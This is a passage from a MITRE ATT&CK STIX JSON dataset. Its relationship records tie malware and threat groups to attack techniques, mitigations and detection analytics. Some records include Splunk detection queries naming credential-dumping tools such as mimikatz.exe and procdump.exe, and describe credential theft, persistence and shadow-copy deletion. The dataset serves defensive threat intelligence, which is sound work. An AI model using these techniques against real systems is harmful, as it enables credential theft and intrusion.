2021)","relationship_type":"uses","source_ref":"malware--29231689-5837-4a7a-aafc-1b65b3f50cc7","target_ref":"attack-pattern--d336b553-5da9-46ca-98a8-0b23f49fb447","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ae87233d-19b8-4957-9795-4885f970ba6c","type":"relationship","created":"2022-03-30T14:26:51.876Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.876Z","description":"Monitor for changes made to files that may backdoor web servers with web shells to establish persistent access to systems.","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ae8a7787-7915-4dfa-bf79-73fd76dc6473","type":"relationship","created":"2020-10-20T17:30:34.952Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cisco Blog Legacy Device Attacks","url":"https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954","description":"Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020."}],"modified":"2022-02-17T19:50:47.146Z","description":"Keep system images and software updated and migrate to SNMPv3.(Citation: Cisco Blog Legacy Device Attacks)","relationship_type":"mitigates","source_ref":"course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b","target_ref":"attack-pattern--52759bf1-fe12-4052-ace6-c5b0cf7dd7fd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ae8a95fa-c0ad-40b4-a573-a9441ed94fab","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Sednit USBStealer 2014","description":"Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.","url":"http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/"}],"modified":"2022-03-09T18:13:22.681Z","description":"[USBStealer](https://attack.mitre.org/software/S0136) automatically exfiltrates collected files via removable media when an infected device connects to an air-gapped victim machine after initially being connected to an internet-enabled victim machine. (Citation: ESET Sednit USBStealer 2014)","relationship_type":"uses","source_ref":"malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb","target_ref":"attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ae8ac860-1dfc-41c3-81ab-08da9619c4a3","created":"2024-09-18T19:17:52.381Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitsight Latrodectus June 2024","description":"Batista, J. (2024, June 17). Latrodectus, are you coming back?. Retrieved September 13, 2024.","url":"https://www.bitsight.com/blog/latrodectus-are-you-coming-back"},{"source_name":"Elastic Latrodectus May 2024","description":"Stepanic, D. and Bousseaden, S. (2024, May 15). Spring Cleaning with LATRODECTUS: A Potential Replacement for ICEDID. Retrieved September 13, 2024.","url":"https://www.elastic.co/security-labs/spring-cleaning-with-latrodectus"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-18T20:05:55.147Z","description":"[Latrodectus](https://attack.mitre.org/software/S1160) has the ability to identify installed antivirus products.(Citation: Elastic Latrodectus May 2024)(Citation: Bitsight Latrodectus June 2024)\n","relationship_type":"uses","source_ref":"malware--76fde8df-3495-47c9-82eb-125c4f7fb621","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ae8d16f8-ba51-4b17-987b-5fbeedfc1780","created":"2021-04-07T18:07:47.788Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Unit 42 Hildegard Malware","description":"Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021.","url":"https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T15:06:06.367Z","description":"[Hildegard](https://attack.mitre.org/software/S0601) has used xmrig to mine cryptocurrency.(Citation: Unit 42 Hildegard Malware)","relationship_type":"uses","source_ref":"malware--40a1b8ec-7295-416c-a6b1-68181d86f120","target_ref":"attack-pattern--a718a0c8-5768-41a1-9958-a1cc3f995e99","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ae8d9f3e-9243-4702-a305-e4b53cd32351","created":"2019-12-03T14:15:27.693Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-14T13:10:28.809Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--8faedf87-dceb-4c35-b2a2-7286f59a3bc3","target_ref":"attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0"},{"type":"relationship","id":"relationship--ae8e960c-3842-4dd5-abab-31d35c0fd1fd","created":"2021-03-12T16:30:52.466Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MSTIC NOBELIUM Mar 2021","description":"Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021.","url":"https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/"},{"source_name":"FireEye SUNSHUTTLE Mar 2021","description":"Smith, L., Leathery, J., Read, B. (2021, March 4). New SUNSHUTTLE Second-Stage Backdoor Uncovered Targeting U.S.-Based Entity; Possible Connection to UNC2452. Retrieved March 12, 2021.","url":"https://www.fireeye.com/blog/threat-research/2021/03/sunshuttle-second-stage-backdoor-targeting-us-based-entity.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T02:27:07.046Z","description":"[GoldMax](https://attack.mitre.org/software/S0588) has written AES-encrypted and Base64-encoded configuration files to disk.(Citation: MSTIC NOBELIUM Mar 2021)(Citation: FireEye SUNSHUTTLE Mar 2021)","relationship_type":"uses","source_ref":"malware--5c747acd-47f0-4c5a-b9e5-213541fc01e0","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ae93611e-8520-4c12-8fbe-7437f33a4092","created":"2021-07-30T19:10:50.529Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MSTIC Nobelium Oct 2021","description":"Microsoft Threat Intelligence Center. (2021, October 25). NOBELIUM targeting delegated administrative privileges to facilitate broader attacks. Retrieved March 25, 2022.","url":"https://www.microsoft.com/security/blog/2021/10/25/nobelium-targeting-delegated-administrative-privileges-to-facilitate-broader-attacks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-27T18:27:41.903Z","description":"[APT29](https://attack.mitre.org/groups/G0016) has compromised IT, cloud services, and managed services providers to gain broad access to multiple customers for subsequent operations.(Citation: MSTIC Nobelium Oct 2021)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--9fa07bef-9c81-421e-a8e5-ad4366c5a925","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ae9befd5-d8b7-4492-9b47-422a40d610cc","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"F-Secure The Dukes","description":"F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.","url":"https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"}],"modified":"2020-03-17T01:22:53.978Z","description":"[GeminiDuke](https://attack.mitre.org/software/S0049) collects information on programs and services on the victim that are configured to automatically run at startup.(Citation: F-Secure The Dukes)","relationship_type":"uses","source_ref":"malware--199463de-d9be-46d6-bb41-07234c1dd5a6","target_ref":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--aea03b1a-38b1-423c-8dc0-442bb4d6c316","created":"2023-01-17T22:13:31.637Z","revoked":false,"external_references":[{"source_name":"Cisco Talos Avos Jun 2022","description":"Venere, G. Neal, C. (2022, June 21). Avos ransomware group expands with new attack arsenal. Retrieved January 11, 2023.","url":"https://blog.talosintelligence.com/avoslocker-new-arsenal/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-17T22:13:31.637Z","description":"(Citation: Cisco Talos Avos Jun 2022)","relationship_type":"uses","source_ref":"campaign--519ee082-8ab6-439b-988f-a8a3f02c8d30","target_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aea0804f-e322-401f-a012-c16c25e0ac70","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Naid June 2012","description":"Neville, A. (2012, June 15). Trojan.Naid. Retrieved February 22, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2012-061518-4639-99"}],"modified":"2018-10-17T00:14:20.652Z","description":"[Naid](https://attack.mitre.org/software/S0205) creates Registry entries that store information about a created service and point to a malicious DLL dropped to disk.(Citation: Symantec Naid June 2012)","relationship_type":"uses","source_ref":"malware--48523614-309e-43bf-a2b8-705c2b45d7b2","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aea8401e-774e-47b1-86ac-220cacd11a3c","type":"relationship","created":"2017-05-31T21:33:27.071Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf","description":"FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.","source_name":"FireEye FIN6 April 2016"}],"modified":"2020-10-19T18:18:50.020Z","description":"[FIN6](https://attack.mitre.org/groups/G0037) has used scheduled tasks to establish persistence for various malware it uses, including downloaders known as HARDTACK and SHIPBREAD and [FrameworkPOS](https://attack.mitre.org/software/S0503).(Citation: FireEye FIN6 April 2016)","relationship_type":"uses","source_ref":"intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--aea8a1b4-3eb9-4a1c-afc0-e087dd826aa6","created":"2024-07-18T21:24:28.680Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TrendMicro Pikabot 2024","description":"Shinji Robert Arasawa, Joshua Aquino, Charles Steven Derion, Juhn Emmanuel Atanque, Francisrey Joshua Castillo, John Carlo Marquez, Henry Salcedo, John Rainier Navato, Arianne Dela Cruz, Raymart Yambot & Ian Kenefick. (2024, January 9). Black Basta-Affiliated Water Curupira’s Pikabot Spam Campaign. Retrieved July 17, 2024.","url":"https://www.trendmicro.com/en_us/research/24/a/a-look-into-pikabot-spam-wave-campaign.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-19T17:25:09.628Z","description":"[Water Curupira Pikabot Distribution](https://attack.mitre.org/campaigns/C0037) activity included distribution of [DarkGate](https://attack.mitre.org/software/S1111) en route to ransomware execution.(Citation: TrendMicro Pikabot 2024)","relationship_type":"uses","source_ref":"campaign--57541e3b-657e-463a-a4ab-ca08d7ea9965","target_ref":"malware--6f6f67c9-556d-4459-95c2-78d272190e52","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--aeaa2f37-4014-4313-9fe2-8616b352a90c","created":"2017-12-14T16:46:06.044Z","x_mitre_version":"1.0","external_references":[{"source_name":"Cylance Cleaver","url":"https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf","description":"Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"[TinyZBot](https://attack.mitre.org/software/S0004) can create a shortcut in the Windows startup folder for persistence.(Citation: Cylance Cleaver)","modified":"2022-07-22T18:37:22.203Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aeb0762f-0d0e-43b8-be6f-413f60097e02","type":"relationship","created":"2019-01-29T19:18:28.824Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"TrendMicro. (2014, September 03). DARKCOMET. Retrieved November 6, 2018.","url":"https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/DARKCOMET","source_name":"TrendMicro DarkComet Sept 2014"},{"description":"Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018.","url":"https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/","source_name":"Malwarebytes DarkComet March 2018"}],"modified":"2019-06-04T19:40:43.608Z","description":"[DarkComet](https://attack.mitre.org/software/S0334) adds several Registry entries to enable automatic execution at every system startup.(Citation: TrendMicro DarkComet Sept 2014)(Citation: Malwarebytes DarkComet March 2018)","relationship_type":"uses","source_ref":"malware--53ab35c2-d00e-491a-8753-41d35ae7e547","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--aeb4ffa0-24f7-4812-aa4d-553ac5e954de","created":"2022-07-29T19:50:00.174Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Trend Micro njRAT 2018","description":"Pascual, C. (2018, November 27). AutoIt-Compiled Worm Affecting Removable Media Delivers Fileless Version of BLADABINDI/njRAT Backdoor. Retrieved June 4, 2019.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/autoit-compiled-worm-affecting-removable-media-delivers-fileless-version-of-bladabindi-njrat-backdoor/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-18T23:26:56.174Z","description":"[njRAT](https://attack.mitre.org/software/S0385) is capable of manipulating and deleting registry keys, including those used for persistence.(Citation: Trend Micro njRAT 2018)","relationship_type":"uses","source_ref":"malware--d906e6f7-434c-44c0-b51a-ed50af8f7945","target_ref":"attack-pattern--d2c4e5ea-dbdf-4113-805a-b1e2a337fb33","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--aeb5cdda-6344-4048-9b41-a0e0e75ef099","created":"2024-04-08T17:19:17.955Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kersten Akira 2023","description":"Max Kersten & Alexandre Mundo. (2023, November 29). Akira Ransomware. Retrieved April 4, 2024.","url":"https://www.trellix.com/blogs/research/akira-ransomware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-08T17:46:36.304Z","description":"[Akira](https://attack.mitre.org/software/S1129) will delete system volume shadow copies via PowerShell commands.(Citation: Kersten Akira 2023)","relationship_type":"uses","source_ref":"malware--6f6b2353-4b39-40ce-9d6d-d00b7a61e656","target_ref":"attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aec0a948-428f-4327-b466-a0472da12928","type":"relationship","created":"2017-05-31T21:33:27.062Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.secureworks.com/research/bronze-union","description":"Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.","source_name":"SecureWorks BRONZE UNION June 2017"}],"modified":"2019-07-14T21:15:55.273Z","description":"[Threat Group-3390](https://attack.mitre.org/groups/G0027) ran a command to compile an archive of file types of interest from the victim user's directories.(Citation: SecureWorks BRONZE UNION June 2017)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aec49e52-c54e-45be-a476-70aa0dc42cfb","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf","description":"F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.","source_name":"F-Secure BlackEnergy 2014"},{"source_name":"Securelist BlackEnergy Nov 2014","description":"Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.","url":"https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/"}],"modified":"2020-06-02T16:14:00.488Z","description":"[BlackEnergy](https://attack.mitre.org/software/S0089) has used a plug-in to gather credentials stored in files on the host by various software programs, including The Bat! email client, Outlook, and Windows Credential Store.(Citation: F-Secure BlackEnergy 2014)(Citation: Securelist BlackEnergy Nov 2014)","relationship_type":"uses","source_ref":"malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4","target_ref":"attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aec81750-6baf-49f4-8607-d4c1811f0baa","type":"relationship","created":"2022-03-30T14:26:51.850Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.850Z","description":"Monitor for any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.","source_ref":"x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd","target_ref":"attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--aec82e75-52d3-4139-aded-73cd1fe5e39b","created":"2022-04-28T15:23:36.396Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T15:38:55.737Z","description":"Monitor command-line usage for -AllowReversiblePasswordEncryption $true or other actions that could be related to malicious tampering of user settings (i.e. [Group Policy Modification](https://attack.mitre.org/techniques/T1484/001)). \n\nAnalytic 1 - Command-line actions indicating changes to encryption settings.\n\n index=security (sourcetype=\"WinEventLog:Security\" OR sourcetype=\"powershell\")(EventCode=4688 OR EventCode=4104) commandline=\"*set-aduser*\" commandline=\"*allowreversiblepasswordencryption*\" \n | table _time, Process_ID, User, CommandLine","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--d50955c2-272d-4ac8-95da-10c29dda1c48","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aec8bec0-d7ee-41a8-aef6-9ea18b1b59ab","type":"relationship","created":"2022-03-30T14:26:51.853Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.853Z","description":"Monitor for traffic on ports UDP 5355 and UDP 137 if LLMNR/NetBIOS is disabled by security policy.","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--650c784b-7504-4df7-ab2c-4ea882384d1e","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aecb4057-07a2-4b44-805a-5566a4047e23","type":"relationship","created":"2020-11-16T19:36:31.507Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Lucifer June 2020","url":"https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/","description":"Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020."}],"modified":"2020-11-18T18:23:19.125Z","description":"[Lucifer](https://attack.mitre.org/software/S0532) can collect the computer name, system architecture, default language, and processor frequency of a compromised host.(Citation: Unit 42 Lucifer June 2020)","relationship_type":"uses","source_ref":"malware--54a73038-1937-4d71-a253-316e76d5413c","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--aeceafe5-efd2-413d-aa85-5ad99f3951a9","created":"2022-03-30T14:26:51.858Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-13T13:41:16.921Z","description":"Monitor for the SAM registry key being accessed that may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software.\n\nAnalytic 1 - Unauthorized registry access to SAM key.\n\n index=security sourcetype=\"WinEventLog:Security\" EventCode=4663 ObjectName=\"*\\\\SAM\" | where ProcessName IN (\"mimikatz.exe\", \"procdump.exe\", \"reg.exe\", \"powershell.exe\", \"wmic.exe\", \"schtasks.exe\", \"cmd.exe\") ","relationship_type":"detects","source_ref":"x-mitre-data-component--ed0dd8aa-1677-4551-bb7d-8da767617e1b","target_ref":"attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--aed66fc1-f158-4518-8b33-8b95cbe5d168","created":"2022-03-30T14:26:51.841Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"University of Birmingham C2","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-24T15:44:02.366Z","description":"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)","relationship_type":"detects","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--aed677d9-a79f-4448-b6a9-3df4d647730b","created":"2023-01-30T15:17:10.472Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-30T15:17:10.472Z","description":"Routinely check account role permissions to ensure only expected users and roles have permission to modify system firewalls.","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--aed72ec7-c810-4f29-9626-6dad85c3f8d8","created":"2022-03-30T14:26:51.859Z","x_mitre_version":"0.1","external_references":[{"source_name":"FireEyeSupplyChain","url":"https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop","description":"FireEye. (2014). SUPPLY CHAIN ANALYSIS: From Quartermaster to SunshopFireEye. Retrieved March 6, 2017."},{"source_name":"Analyzing CS Dec 2020","url":"https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/","description":"Maynier, E. (2020, December 20). Analyzing Cobalt Strike for Fun and Profit. Retrieved October 12, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"Consider analyzing malware for features that may be associated with malware 